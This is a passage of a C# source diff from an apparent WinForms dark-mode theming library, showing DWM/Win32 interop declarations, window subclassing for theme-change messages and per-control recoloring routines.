DwmSetWindowAttribute. Prevents a window from fading to a glass sheet when peek is invoked. The pvAttribute parameter points to a value of type BOOL. TRUE to prevent the window from fading during another window's peek, or FALSE for normal behavior. Windows Vista and earlier: This value is not supported. + /// + DWMWA_EXCLUDED_FROM_PEEK, + + /// + /// Use with DwmSetWindowAttribute. Cloaks the window such that it is not visible to the user. The window is still composed by DWM. Using with DirectComposition: Use the DWMWA_CLOAK flag to cloak the layered child window when animating a representation of the window's content via a DirectComposition visual that has been associated with the layered child window. For more details on this usage case, see How to animate the bitmap of a layered child window. Windows 7 and earlier: This value is not supported. + /// + DWMWA_CLOAK, + + /// + /// Use with DwmGetWindowAttribute. If the window is cloaked, provides one of the following values explaining why. DWM_CLOAKED_APP (value 0x0000001). The window was cloaked by its owner application. DWM_CLOAKED_SHELL(value 0x0000002). The window was cloaked by the Shell. DWM_CLOAKED_INHERITED(value 0x0000004). The cloak value was inherited from its owner window. Windows 7 and earlier: This value is not supported. + /// + DWMWA_CLOAKED, + + /// + /// Use with DwmSetWindowAttribute. Freeze the window's thumbnail image with its current visuals. Do no further live updates on the thumbnail image to match the window's contents. Windows 7 and earlier: This value is not supported. + /// + DWMWA_FREEZE_REPRESENTATION, + + /// + /// Use with DwmSetWindowAttribute. Enables a non-UWP window to use host backdrop brushes. If this flag is set, then a Win32 app that calls Windows::UI::Composition APIs can build transparency effects using the host backdrop brush (see Compositor.CreateHostBackdropBrush). The pvAttribute parameter points to a value of type BOOL. TRUE to enable host backdrop brushes for the window, or FALSE to disable it. This value is supported starting with Windows 11 Build 22000. + /// + DWMWA_USE_HOSTBACKDROPBRUSH, + + /// + /// Use with DwmSetWindowAttribute. Allows the window frame for this window to be drawn in dark mode colors when the dark mode system setting is enabled. For compatibility reasons, all windows default to light mode regardless of the system setting. The pvAttribute parameter points to a value of type BOOL. TRUE to honor dark mode for the window, FALSE to always use light mode. This value is supported starting with Windows 10 Build 17763. + /// + DWMWA_USE_IMMERSIVE_DARK_MODE_BEFORE_20H1 = 19, + + /// + /// Use with DwmSetWindowAttribute. Allows the window frame for this window to be drawn in dark mode colors when the dark mode system setting is enabled. For compatibility reasons, all windows default to light mode regardless of the system setting. The pvAttribute parameter points to a value of type BOOL. TRUE to honor dark mode for the window, FALSE to always use light mode. This value is supported starting with Windows 11 Build 22000. + /// + DWMWA_USE_IMMERSIVE_DARK_MODE = 20, + + /// + /// Use with DwmSetWindowAttribute. Specifies the rounded corner preference for a window. The pvAttribute parameter points to a value of type DWM_WINDOW_CORNER_PREFERENCE. This value is supported starting with Windows 11 Build 22000. + /// + DWMWA_WINDOW_CORNER_PREFERENCE = 33, + + /// + /// Use with DwmSetWindowAttribute. Specifies the color of the window border. The pvAttribute parameter points to a value of type COLORREF. The app is responsible for changing the border color according to state changes, such as a change in window activation. This value is supported starting with Windows 11 Build 22000. + /// + DWMWA_BORDER_COLOR, + + /// + /// Use with DwmSetWindowAttribute. Specifies the color of the caption. The pvAttribute parameter points to a value of type COLORREF. This value is supported starting with Windows 11 Build 22000. + /// + DWMWA_CAPTION_COLOR, + + /// + /// Use with DwmSetWindowAttribute. Specifies the color of the caption text. The pvAttribute parameter points to a value of type COLORREF. This value is supported starting with Windows 11 Build 22000. + /// + DWMWA_TEXT_COLOR, + + /// + /// Use with DwmGetWindowAttribute. Retrieves the width of the outer border that the DWM would draw around this window. The value can vary depending on the DPI of the window. The pvAttribute parameter points to a value of type UINT. This value is supported starting with Windows 11 Build 22000. + /// + DWMWA_VISIBLE_FRAME_BORDER_THICKNESS, + + /// + /// The maximum recognized DWMWINDOWATTRIBUTE value, used for validation purposes. + /// + DWMWA_LAST, + } + + [Flags] + public enum DWM_WINDOW_CORNER_PREFERENCE + { + DWMWCP_DEFAULT = 0, + DWMWCP_DONOTROUND = 1, + DWMWCP_ROUND = 2, + DWMWCP_ROUNDSMALL = 3 + } + + [Serializable, StructLayout(LayoutKind.Sequential)] + public struct RECT + { + public int Left; + public int Top; + public int Right; + public int Bottom; + + public Rectangle ToRectangle() + { + return Rectangle.FromLTRB(Left, Top, Right, Bottom); + } + } + + public const int EM_SETCUEBANNER = 5377; + public const int WM_SETTINGSCHANGE = 0x001A; + public const int WM_THEMECHANGED = 0x031A; + public const int GWLP_WNDPROC = -4; + + + [DllImport("user32.dll", CharSet = CharSet.Auto)] + public static extern IntPtr SendMessage(IntPtr hWnd, int msg, IntPtr wParam, [MarshalAs(UnmanagedType.LPWStr)] string lParam); + + [DllImport("DwmApi")] + public static extern int DwmSetWindowAttribute(IntPtr hwnd, int attr, int[] attrValue, int attrSize); + + [DllImport("dwmapi.dll")] + public static extern int DwmGetWindowAttribute(IntPtr hwnd, int dwAttribute, out RECT pvAttribute, int cbAttribute); + + [DllImport("uxtheme.dll", CharSet = CharSet.Unicode)] + private static extern int SetWindowTheme(IntPtr hWnd, string pszSubAppName, string pszSubIdList); + + [DllImport("dwmapi.dll", EntryPoint = "#127")] + public static extern void DwmGetColorizationParameters(ref DWMCOLORIZATIONcolors colors); + + [DllImport("Gdi32.dll", EntryPoint = "CreateRoundRectRgn")] + private static extern IntPtr CreateRoundRectRgn + ( + int nLeftRect, // x-coordinate of upper-left corner + int nTopRect, // y-coordinate of upper-left corner + int nRightRect, // x-coordinate of lower-right corner + int nBottomRect, // y-coordinate of lower-right corner + int nWidthEllipse, // height of ellipse + int nHeightEllipse // width of ellipse + ); + + [DllImport("user32")] + private static extern IntPtr GetDC(IntPtr hwnd); + + [DllImport("user32")] + private static extern IntPtr ReleaseDC(IntPtr hwnd, IntPtr hdc); + + private static IntPtr GetHeaderControl(ListView list) + { + const int LVM_GETHEADER = 0x1000 + 31; + return SendMessage(list.Handle, LVM_GETHEADER, IntPtr.Zero, ""); + } + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + private delegate IntPtr WndProc(IntPtr hWnd, int msg, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr SetWindowLongPtr(IntPtr hWnd, int nIndex, IntPtr dwNewLong); + + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr CallWindowProc(IntPtr lpPrevWndFunc, IntPtr hWnd, int msg, IntPtr wParam, IntPtr lParam); + + + #endregion Win32 API Declarations + + #region Private Static Members + + /// + /// Stores additional info related to the Controls + /// + private static readonly ControlStatusStorage controlStatusStorage = new ControlStatusStorage(); + + /// + /// stores the event handler reference in order to prevent its uncontrolled multiple addition + /// + private static ControlEventHandler ownerFormControlAdded; + + /// + /// stores the event handler reference in order to prevent its uncontrolled multiple addition + /// + private static EventHandler controlHandleCreated; + + /// + /// stores the event handler reference in order to prevent its uncontrolled multiple addition + /// + private static ControlEventHandler controlControlAdded; + + + private bool _IsDarkMode = false; //<- storage for the Read Only Proerty 'IsDarkMode' + + private IntPtr originalWndProc; + private WndProc newWndProcDelegate; + private bool applyingTheme = false; // Flag to prevent recursion + + #endregion + + + #region Public Members + + public enum DisplayMode + { + /// Uses the Color Mode of the System, set by the User in Windows Settings. + SystemDefault, + /// Forces to use Clear Mode + ClearMode, + /// Forces to use Dark Mode + DarkMode + } + + /// Gets or Sets the Display color mode applied to the Form and Controls. + public DisplayMode ColorMode { get; set; } = DisplayMode.SystemDefault; + + ///// [Read Only] 'true' if Dark Mode Color is applied to the Form. + public bool IsDarkMode { get { return _IsDarkMode; } } + + /// Option to re-colorize all Icons in Toolbars and Menus. + public bool ColorizeIcons { get; set; } = true; + + /// Option to make all Panels Borders Rounded + public bool RoundedPanels { get; set; } = false; + + /// The PArent form for them all. + public Form OwnerForm { get; set; } + + /// Windows Colors. Can be customized. + public OSThemeColors OScolors { get; set; } + + #endregion Public Members + + + #region Constructors + + /// This tries to automatically apply Windows Dark Mode (if enabled) to a Form. + /// The Form to become Dark + /// [OPTIONAL] re-colorize all Icons in Toolbars and Menus. + /// [OPTIONAL] make all Panels Borders Rounded + public DarkModeCS(Form _Form, bool _ColorizeIcons = true, bool _RoundedPanels = false) + { + + //Sets the Properties: + OwnerForm = _Form; + ColorizeIcons = _ColorizeIcons; + RoundedPanels = _RoundedPanels; + + if (originalWndProc == IntPtr.Zero) + { + _Form.HandleCreated += (sender, e) => + { + newWndProcDelegate = new WndProc(CustomWndProc); + originalWndProc = SetWindowLongPtr(_Form.Handle, GWLP_WNDPROC, Marshal.GetFunctionPointerForDelegate(newWndProcDelegate)); + }; + } + // This Fires after the normal 'Form_Load' event + _Form.Load += (object sender, EventArgs e) => + { + _IsDarkMode = isDarkMode(); //<- Gets the current color mode from Windows + if (ColorMode != DisplayMode.SystemDefault) + { + _IsDarkMode = ColorMode == DisplayMode.DarkMode ? true : false; + } + + ApplyTheme(_IsDarkMode); + }; + } + + private IntPtr CustomWndProc(IntPtr hWnd, int msg, IntPtr wParam, IntPtr lParam) + { + // Handle the WM_THEMECHANGED message + //Debug.WriteLine($"Message Code: {msg}"); + if (msg == WM_SETTINGSCHANGE && !applyingTheme) + { + applyingTheme = true; // Set the flag to prevent recursion + _IsDarkMode = isDarkMode(); //<- Gets the current color mode from Windows + if (ColorMode != DisplayMode.SystemDefault) + { + _IsDarkMode = ColorMode == DisplayMode.DarkMode ? true : false; + } + + ApplyTheme(_IsDarkMode); + applyingTheme = false; // Reset the flag + } + + // Call the original WndProc + return CallWindowProc(originalWndProc, hWnd, msg, wParam, lParam); + } + + + public bool isDarkMode() + { + return GetWindowsColorMode() <= 0 ? true : false; + } + + #endregion Constructors + + #region Public Methods + + /// Apply the Theme into the Window and all its controls. + /// 'true': apply Dark Mode, 'false': apply Clear Mode + public void ApplyTheme(bool pIsDarkMode = true) + { + try + { + // IsDarkMode member changes only if the User manually changed it here: + _IsDarkMode = _IsDarkMode != pIsDarkMode ? pIsDarkMode : _IsDarkMode; + + OScolors = GetSystemColors(OwnerForm, pIsDarkMode ? 0 : 1); + + if (OScolors != null) + { + //Apply Window's Dark Mode to the Form's Title bar: + ApplySystemDarkTheme(OwnerForm, pIsDarkMode); + + OwnerForm.BackColor = OScolors.Background; + OwnerForm.ForeColor = OScolors.TextInactive; + + if (OwnerForm != null && OwnerForm.Controls != null) + { + foreach (Control _control in OwnerForm.Controls) + { + ThemeControl(_control); + } + + if (ownerFormControlAdded == null) + ownerFormControlAdded = (object sender, ControlEventArgs e) => + { + ThemeControl(e.Control); + }; + OwnerForm.ControlAdded -= ownerFormControlAdded; //prevent uncontrolled multiple addition + OwnerForm.ControlAdded += ownerFormControlAdded; + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message + ex.StackTrace, "ERROR", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + finally + { + + } + } + public void ApplyTheme(DisplayMode pColorMode) + { + _IsDarkMode = isDarkMode(); //<- Gets the current color mode from Windows + if (ColorMode != DisplayMode.SystemDefault) + { + _IsDarkMode = ColorMode == DisplayMode.DarkMode ? true : false; + } + + ApplyTheme(_IsDarkMode); + } + + /// Recursively apply the Colors from 'OScolors' to the Control and all its childs. + /// Can be a Form or any Winforms Control. + public void ThemeControl(Control control) + { + var info = controlStatusStorage.GetControlStatusInfo(control); + if (info != null) + { + //we already have some information about this Control + + //if the user chose to skip the control, exit + if (info.IsExcluded) return; + + //prevent applying a theme multiple times to the same control + //without this, it happens at least is some MDI forms + //if the Control already has the current theme, exit (otherwise we are going to re-theme it) + if (info.LastThemeAppliedIsDark == IsDarkMode) return; + + //we remember it will soon have the current theme + info.LastThemeAppliedIsDark = IsDarkMode; + } + else + { + //this is the first time we see this Control + + //we remember it will soon have the current theme + controlStatusStorage.RegisterProcessedControl(control, IsDarkMode); + } + + BorderStyle BStyle = (IsDarkMode ? BorderStyle.FixedSingle : BorderStyle.Fixed3D); + FlatStyle FStyle = (IsDarkMode ? FlatStyle.Flat : FlatStyle.Standard); + + if (controlHandleCreated == null) controlHandleCreated = (object sender, EventArgs e) => + { + ApplySystemDarkTheme((Control)sender, IsDarkMode); + }; + control.HandleCreated -= controlHandleCreated; //prevent uncontrolled multiple addition + control.HandleCreated += controlHandleCreated; + + if (controlControlAdded == null) controlControlAdded = (object sender, ControlEventArgs e) => + { + ThemeControl(e.Control); + }; + control.ControlAdded -= controlControlAdded; //prevent uncontrolled multiple addition + control.ControlAdded += controlControlAdded; + + string Mode = IsDarkMode ? "DarkMode_Explorer" : "ClearMode_Explorer"; + SetWindowTheme(control.Handle, Mode, null); //<- Attempts to apply Dark Mode using Win32 API if available. + + control.GetType().GetProperty("BackColor")?.SetValue(control, OScolors.Control); + + // check the forecolor for the bs + var currentForeColor = (Color)control.GetType().GetProperty("ForeColor")?.GetValue(control); + //Debug.WriteLine(currentForeColor); + if (currentForeColor == Color.Black || currentForeColor == Color.White || currentForeColor == SystemColors.ControlText || currentForeColor == Color.FromArgb(255, 176, 176, 176) || currentForeColor == SystemColors.WindowText || currentForeColor == SystemColors.GrayText) + { + control.GetType().GetProperty("ForeColor")?.SetValue(control, OScolors.TextActive); + } + + /* Here we Finetune individual Controls */ + if (control is Label lbl) + { + control.GetType().GetProperty("BackColor")?.SetValue(control, control.Parent.BackColor); + control.GetType().GetProperty("BorderStyle")?.SetValue(control, BorderStyle.None); + control.Paint += (object sender, PaintEventArgs e) => + { + if (control.Enabled == false && this.IsDarkMode) + { + e.Graphics.Clear(control.Parent.BackColor); + e.Graphics.SmoothingMode = SmoothingMode.HighQuality; + + using (Brush B = new SolidBrush(control.ForeColor)) + { + //StringFormat sf = lbl.CreateStringFormat(); + MethodInfo mi = lbl.GetType().GetMethod("CreateStringFormat", BindingFlags.NonPublic | BindingFlags.Instance); + StringFormat sf = mi.Invoke(lbl, new object[] { }) as StringFormat; + + e.Graphics.DrawString(lbl.Text, lbl.Font, B, new System.Drawing.PointF(1, 0), sf); + } + } + }; + } + if (control is LinkLabel) + { + control.GetType().GetProperty("LinkColor")?.SetValue(control, OScolors.AccentLight); + control.GetType().GetProperty("VisitedLinkColor")?.SetValue(control, OScolors.Primary); + } + if (control is TextBox) + { + //SetRoundBorders(tb, 4, OScolors.SurfaceDark, 1); + control.GetType().GetProperty("BorderStyle")?.SetValue(control, BStyle); + } + if (control is NumericUpDown) + { + //Mode = IsDarkMode ? "DarkMode_CFD" : "ClearMode_CFD"; + Mode = IsDarkMode ? "DarkMode_ItemsView" : "ClearMode_ItemsView"; + SetWindowTheme(control.Handle, Mode, null); + } + if (control is Button) + { + var button = control as Button; + button.FlatStyle = IsDarkMode ? FlatStyle.Flat : FlatStyle.Standard; + button.FlatAppearance.CheckedBackColor = OScolors.Accent; + button.BackColor = OScolors.Control; + button.FlatAppearance.BorderColor = (OwnerForm.AcceptButton == button) ? + OScolors.Accent : OScolors.Control; + } + if (control is ComboBox comboBox) + { + // Fixing a glitch that makes all instances of the ComboBox showing as having a Selected value, even when they dont + control.BeginInvoke(new Action(() => (control as ComboBox).SelectionLength = 0)); + + // Fixes a glitch showing the Combo Backgroud white when the control is Disabled: + if (!control.Enabled && this.IsDarkMode) + { + comboBox.DropDownStyle = ComboBoxStyle.DropDownList; + } + + // Apply Windows Color Mode: + Mode = IsDarkMode ? "DarkMode_CFD" : "ClearMode_CFD"; + SetWindowTheme(control.Handle, Mode, null); + } + if (control is Panel) + { + var panel = control as Panel; + // Process the panel within the container + panel.BackColor = OScolors.Surface; + panel.BorderStyle = BorderStyle.None; + if (!(panel.Parent is TabControl) || !(panel.Parent is TableLayoutPanel)) + { + if (RoundedPanels) + { + SetRoundBorders(panel, 6, OScolors.SurfaceDark, 1); + } + } + } + if (control is GroupBox) + { + control.GetType().GetProperty("BackColor")?.SetValue(control, control.Parent.BackColor); + control.GetType().GetProperty("ForeColor")?.SetValue(control, OScolors.TextActive); + control.Paint += (object sender, PaintEventArgs e) => + { + if (control.Enabled == false && this.IsDarkMode) + { + var radio = (sender as GroupBox); + Brush B = new SolidBrush(control.ForeColor); + + e.Graphics.DrawString(radio.Text, radio.Font, + B, new System.Drawing.PointF(6, 0)); + } + }; + } + if (control is TableLayoutPanel) + { + control.GetType().GetProperty("BackColor")?.SetValue(control, control.Parent.BackColor); + control.GetType().GetProperty("ForeColor")?.SetValue(control, OScolors.TextInactive); + control.GetType().GetProperty("BorderStyle")?.SetValue(control, BorderStyle.None); + } + if (control is TabControl) + { + var tab = control as TabControl; + tab.Appearance = TabAppearance.Normal; + tab.DrawMode = System.Windows.Forms.TabDrawMode.OwnerDrawFixed; + tab.DrawItem += (object sender, DrawItemEventArgs e) => + { + //Draw the background of the main control + using (SolidBrush backColor = new SolidBrush(tab.Parent.BackColor)) + { + e.Graphics.FillRectangle(backColor, tab.ClientRectangle); + } + + using (Brush tabBack = new SolidBrush(OScolors.Surface)) + { + for (int i = 0; i < tab.TabPages.Count; i++) + { + TabPage tabPage = tab.TabPages[i]; + tabPage.BackColor = OScolors.Surface; + tabPage.BorderStyle = BorderStyle.FixedSingle; + tabPage.ControlAdded += (object _s, ControlEventArgs _e) => + { + ThemeControl(_e.Control); + }; + + var tBounds = e.Bounds; + //tBounds.Inflate(100, 100); + + bool IsSelected = (tab.SelectedIndex == i); + if (IsSelected) + { + e.Graphics.FillRectangle(tabBack, tBounds); + TextRenderer.DrawText(e.Graphics, tabPage.Text, tabPage.Font, e.Bounds, OScolors.TextActive); + } + else + { + TextRenderer.DrawText(e.Graphics, tabPage.Text, tabPage.Font, tab.GetTabRect(i), OScolors.TextInactive); + } + } + } + }; + } + //if (control is FlatTabControl) + //{ + // control.GetType().GetProperty("BackColor")?.SetValue(control, OScolors.Background); + // control.GetType().GetProperty("TabColor")?.SetValue(control, OScolors.Surface); + // control.GetType().GetProperty("SelectTabColor")?.SetValue(control, OScolors.Control); + // control.GetType().GetProperty("SelectedForeColor")?.SetValue(control, OScolors.TextActive); + // control.GetType().GetProperty("ForeColor")?.SetValue(control, OScolors.TextInactive); + // control.GetType().GetProperty("LineColor")?.SetValue(control, OScolors.Background); + //} + if (control is PictureBox) + { + control.GetType().GetProperty("BackColor")?.SetValue(control, control.Parent.BackColor); + control.GetType().GetProperty("ForeColor")?.SetValue(control, OScolors.TextActive); + control.GetType().GetProperty("BorderStyle")?.SetValue(control, BorderStyle.None); + } + if (control is CheckBox) + { + control.GetType().GetProperty("BackColor")?.SetValue(control, control.Parent.BackColor); + control.ForeColor = control.Enabled ? OScolors.TextActive : OScolors.TextInactive; + control.Paint += (object sender, PaintEventArgs e) => + { + if (control.Enabled == false && this.IsDarkMode) + { + var radio = (sender as CheckBox); + Brush B = new SolidBrush(control.ForeColor); + + e.Graphics.DrawString(radio.Text, radio.Font, + B, new System.Drawing.PointF(16, 0)); + } + }; + } + if (control is RadioButton) + { + control.GetType().GetProperty("BackColor")?.SetValue(control, control.Parent.BackColor); + control.ForeColor = control.Enabled ? OScolors.TextActive : OScolors.TextInactive; + control.Paint += (object sender, PaintEventArgs e) => + { + if (control.Enabled == false && this.IsDarkMode) + { + var radio = (sender as RadioButton); + Brush B = new SolidBrush(control.ForeColor); + + e.Graphics.DrawString(radio.Text, radio.Font, + B, new System.Drawing.PointF(16, 0)); + } + }; + } + if (control is MenuStrip) + { + (control as MenuStrip).RenderMode = ToolStripRenderMode.Professional; + (control as MenuStrip).Renderer = new MyRenderer(new CustomColorTable(OScolors), ColorizeIcons) + { + MyColors = OScolors + }; + } + if (control is ToolStrip) + { + (control as ToolStrip).RenderMode = ToolStripRenderMode.Professional; + (control as ToolStrip).Renderer = new MyRenderer(new CustomColorTable(OScolors), ColorizeIcons) { MyColors = OScolors }; + } + if (control is ToolStripPanel) //<- empty area around ToolStrip + { + control.GetType().GetProperty("BackColor")?.SetValue(control, control.Parent.BackColor); + } + if (control is ToolStripDropDown) + { + (control as ToolStripDropDown).Opening -= Tsdd_Opening; //just to make sure + (control as ToolStripDropDown).Opening += Tsdd_Opening; + } + if (control is ToolStripDropDownMenu) + { + (control as ToolStripDropDownMenu).Opening -= Tsdd_Opening; //just to make sure + (control as ToolStripDropDownMenu).Opening += Tsdd_Opening; + } + if (control is ContextMenuStrip) + { + (control as ContextMenuStrip).RenderMode = ToolStripRenderMode.Professional; + (control as ContextMenuStrip).Renderer = new MyRenderer(new CustomColorTable(OScolors), ColorizeIcons) { MyColors = OScolors }; + (control as ContextMenuStrip).Opening -= Tsdd_Opening; //just to make sure + (control as ContextMenuStrip).Opening += Tsdd_Opening; + } + if (control is MdiClient) //<- empty area of MDI container window + { + control.GetType().GetProperty("BackColor")?.SetValue(control, OScolors.Surface); + } + if (control is PropertyGrid) + { + var pGrid = control as PropertyGrid; + pGrid.BackColor = OScolors.Control; + pGrid.ViewBackColor = OScolors.Control; + pGrid.LineColor = OScolors.Surface; + pGrid.ViewForeColor = OScolors.TextActive; + pGrid.ViewBorderColor = OScolors.ControlDark; + pGrid.CategoryForeColor = OScolors.TextActive; + pGrid.CategorySplitterColor = OScolors.ControlLight; + } + if (control is ListView || control is AeroListView) + { + var lView = control as ListView; + //Mode = IsDarkMode ? "DarkMode_ItemsView" : "ClearMode_ItemsView"; + Mode = IsDarkMode ? "DarkMode_Explorer" : "ClearMode_Explorer"; + SetWindowTheme(control.Handle, Mode, null); + + + if (lView.View == View.Details) + { + lView.OwnerDraw = true; + lView.DrawColumnHeader += (object sender, DrawListViewColumnHeaderEventArgs e) => + { + //e.DrawDefault = true; + //e.DrawBackground(); + //e.DrawText(); + + using (SolidBrush backBrush = new SolidBrush(OScolors.ControlLight)) + { + using (SolidBrush foreBrush = new SolidBrush(OScolors.TextActive)) + { + using (var sf = new StringFormat()) + { + sf.Alignment = StringAlignment.Center; + e.Graphics.FillRectangle(backBrush, e.Bounds); + e.Graphics.DrawString(e.Header.Text, lView.Font, foreBrush, e.Bounds, sf); + } + } + } + }; + lView.DrawItem += (sender, e) => { e.DrawDefault = true; }; + lView.DrawSubItem += (sender, e) => + { + e.DrawDefault = true; + + //IntPtr headerControl = GetHeaderControl(lView); + //IntPtr hdc = GetDC(headerControl); + //Rectangle rc = new Rectangle( + // e.Bounds.Right, //<- Right instead of Left - offsets the rectangle + // e.Bounds.Top, + // e.Bounds.Width, + // e.Bounds.Height + //); + //rc.Width += 200; + + //using (SolidBrush backBrush = new SolidBrush(OScolors.ControlLight)) + //{ + // e.Graphics.FillRectangle(backBrush, rc); + //} + + //ReleaseDC(headerControl, hdc); + + }; + + Mode = IsDarkMode ? "DarkMode_Explorer" : "ClearMode_Explorer"; + SetWindowTheme(control.Handle, Mode, null); + } + + } + if (control is TreeView) + { + control.GetType().GetProperty("BorderStyle")?.SetValue(control, BorderStyle.None); + //tree.DrawNode += (object? sender, DrawTreeNodeEventArgs e) => + //{ + // if (e.Node.ImageIndex != -1) + // { + // Image image = tree.ImageList.Images[e.Node.ImageIndex]; + // using (Graphics g = Graphics.FromImage(image)) + // { + // g.InterpolationMode = InterpolationMode.HighQualityBilinear; + // g.CompositingQuality = CompositingQuality.HighQuality; + // g.SmoothingMode = SmoothingMode.HighQuality; + + // g.DrawImage(DarkModeCS.ChangeToColor(image, OScolors.TextInactive), new Point(0,0)); + // } + // tree.ImageList.Images[e.Node.ImageIndex] = image; + // } + // tree.Invalidate(); + //}; + } + if (control is DataGridView) + { + var grid = control as DataGridView; + grid.EnableHeadersVisualStyles = false; + grid.BorderStyle = BorderStyle.FixedSingle; + grid.BackgroundColor = OScolors.Control; + grid.GridColor = OScolors.Control; + + //paint the bottom right corner where the scrollbars meet + grid.Paint += (object sender, PaintEventArgs e) => + { + DataGridView dgv = sender as DataGridView; + + //get the value of dgv.HorizontalScrollBar protected property + HScrollBar hs = (HScrollBar)typeof(DataGridView).GetProperty("HorizontalScrollBar", BindingFlags.Instance | BindingFlags.NonPublic).GetValue(dgv); + if (hs.Visible) + { + //get the value of dgv.VerticalScrollBar protected property + VScrollBar vs = (VScrollBar)typeof(DataGridView).GetProperty("VerticalScrollBar", BindingFlags.Instance | BindingFlags.NonPublic).GetValue(dgv); + + if (vs.Visible) + { + //only when both the scrollbars are visible, do the actual painting + Brush brush = new SolidBrush(OScolors.SurfaceDark); + var w = vs.Size.Width; + var h = hs.Size.Height; + e.Graphics.FillRectangle(brush, dgv.ClientRectangle.X + dgv.ClientRectangle.Width - w - 1, + dgv.ClientRectangle.Y + dgv.ClientRectangle.Height - h - 1, w, h); + } + } + }; + + grid.DefaultCellStyle.BackColor = OScolors.Surface; + grid.DefaultCellStyle.ForeColor = OScolors.TextActive; + + grid.ColumnHeadersDefaultCellStyle.BackColor = OScolors.Surface; + grid.ColumnHeadersDefaultCellStyle.ForeColor = OScolors.TextActive; + grid.ColumnHeadersDefaultCellStyle.SelectionBackColor = OScolors.Surface; + grid.ColumnHeadersBorderStyle = DataGridViewHeaderBorderStyle.Single; + grid.ColumnHeadersHeight = 140; + + grid.RowHeadersDefaultCellStyle.BackColor = OScolors.Surface; + grid.RowHeadersDefaultCellStyle.ForeColor = OScolors.TextActive; + grid.RowHeadersDefaultCellStyle.SelectionBackColor = OScolors.Surface; + grid.RowHeadersBorderStyle = DataGridViewHeaderBorderStyle.Single; + } + if (control is RichTextBox richText) + { + richText.BackColor = richText.Parent.BackColor; + richText.BorderStyle = BorderStyle.None; + } + if (control is FlowLayoutPanel flowLayout) + { + flowLayout.BackColor = flowLayout.Parent.BackColor; + flowLayout.BorderStyle = BorderStyle.None; + } + + + //Debug.Print(string.Format("{0}: {1}", control.Name, control.GetType().Name)); + + if (control.ContextMenuStrip != null) + ThemeControl(control.ContextMenuStrip); + + foreach (Control childControl in control.Controls) + { + // Recursively process its children + ThemeControl(childControl); + } + } + + /// + /// Registers the Control as processed. Prevents applying theme to the Control. + /// Call it before applying the theme to your Form (or to any other Control containing (directly or indirectly) this Control) + /// + public static void ExcludeFromProcessing(Control control) + { + controlStatusStorage.ExcludeFromProcessing(control); + } + + /// Returns Windows Color Mode for Applications. + /// 0=dark theme, 1=light theme + /// + public static int GetWindowsColorMode(bool GetSystemColorModeInstead = false) + { + try + { + return (int)Microsoft.Win32.Registry.GetValue( + @"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize", + GetSystemColorModeInstead ? "SystemUsesLightTheme" : "AppsUseLightTheme", + -1); + } + catch + { + return 1; + } + } + + /// Returns the Accent Color used by Windows. + /// a Color + public static Color GetWindowsAccentColor() + { + try + { + DWMCOLORIZATIONcolors colors = new DWMCOLORIZATIONcolors(); + DwmGetColorizationParameters(ref colors); + + //get the theme --> only if Windows 10 or newer + if (IsWindows10orGreater()) + { + var color = colors.ColorizationColor; + + var colorValue = long.Parse(color.ToString(), System.Globalization.NumberStyles.HexNumber); + + var transparency = (colorValue >> 24) & 0xFF; + var red = (colorValue >> 16) & 0xFF; + var green = (colorValue >> 8) & 0xFF; + var blue = (colorValue >> 0) & 0xFF; + + return Color.FromArgb((int)transparency, (int)red, (int)green, (int)blue); + } + else + { + return Color.CadetBlue; + } + } + catch (Exception) + { + return Color.CadetBlue; + } + } + + /// Returns the Accent Color used by Windows. + /// an opaque Color + public static Color GetWindowsAccentOpaqueColor() + { + DWMCOLORIZATIONcolors colors = new DWMCOLORIZATIONcolors(); + DwmGetColorizationParameters(ref colors); + + //get the theme --> only if Windows 10 or newer + if (IsWindows10orGreater()) + { + var color = colors.ColorizationColor; + + var colorValue = long.Parse(color.ToString(), System.Globalization.NumberStyles.HexNumber); + + var red = (colorValue >> 16) & 0xFF; + var green = (colorValue >> 8) & 0xFF; + var blue = (colorValue >> 0) & 0xFF; + + return Color.FromArgb(255, (int)red, (int)green, (int)blue); + } + else + { + return Color.CadetBlue; + } + } + + /// Returns Windows's System Colors for UI components following Google Material Design concepts. + /// [OPTIONAL] Applies DarkMode (if set) to this Window Title and Background. + /// List of Colors: Background, OnBackground, Surface, OnSurface, Primary, OnPrimary, Secondary, OnSecondary + public static OSThemeColors GetSystemColors(Form Window = null, int ColorMode = 0) //<- O: DarkMode, 1: LightMode + { + OSThemeColors _ret = new OSThemeColors(); + + if (ColorMode <= 0) + { + _ret.Background = Color.FromArgb(32, 32, 32); //<- Negro Claro + _ret.BackgroundDark = Color.FromArgb(18, 18, 18); + _ret.BackgroundLight = ControlPaint.Light(_ret.Background); + + _ret.Surface = Color.FromArgb(43, 43, 43); //<- Gris Oscuro + _ret.SurfaceLight = Color.FromArgb(50, 50, 50); + _ret.SurfaceDark = Color.FromArgb(29, 29, 29); + + _ret.TextActive = Color.White; + _ret.TextInactive = Color.FromArgb(176, 176, 176); //<- Blanco Palido + _ret.TextInAccent = GetReadableColor(_ret.Accent); + + _ret.Control = Color.FromArgb(55, 55, 55); //<- Gris Oscuro + _ret.ControlDark = ControlPaint.Dark(_ret.Control); + _ret.ControlLight = Color.FromArgb(67, 67, 67); + + _ret.Primary = Color.FromArgb(3, 218, 198); //<- Verde Pastel + _ret.Secondary = Color.MediumSlateBlue; //<- Magenta Claro + + + } + + return _ret; + } + + /// Apply Round Corners to the indicated Control or Form. + /// the one who will have rounded Corners. Set BorderStyle = None. + /// Radious for the Corners + /// Color for the Border + /// Size in pixels of the border line + /// + public static void SetRoundBorders(Control _Control, int Radius = 10, Color? borderColor = null, int borderSize = 2, bool underlinedStyle = false) + { + try + { + borderColor = borderColor ?? Color.MediumSlateBlue; + + if (_Control != null) + { + _Control.GetType().GetProperty("BorderStyle")?.SetValue(_Control, BorderStyle.None); + _Control.Region = System.Drawing.Region.FromHrgn(CreateRoundRectRgn(0, 0, _Control.Width, _Control.Height, Radius, Radius)); + _Control.Paint += (object sender, PaintEventArgs e) => + { + //base.OnPaint(e); + Graphics graph = e.Graphics; + + if (Radius > 1)//Rounded TextBox + { + //-Fields + var rectBorderSmooth = _Control.ClientRectangle; + var rectBorder = Rectangle.Inflate(rectBorderSmooth, -borderSize, -borderSize); + int smoothSize = borderSize > 0 ? borderSize : 1; + + using 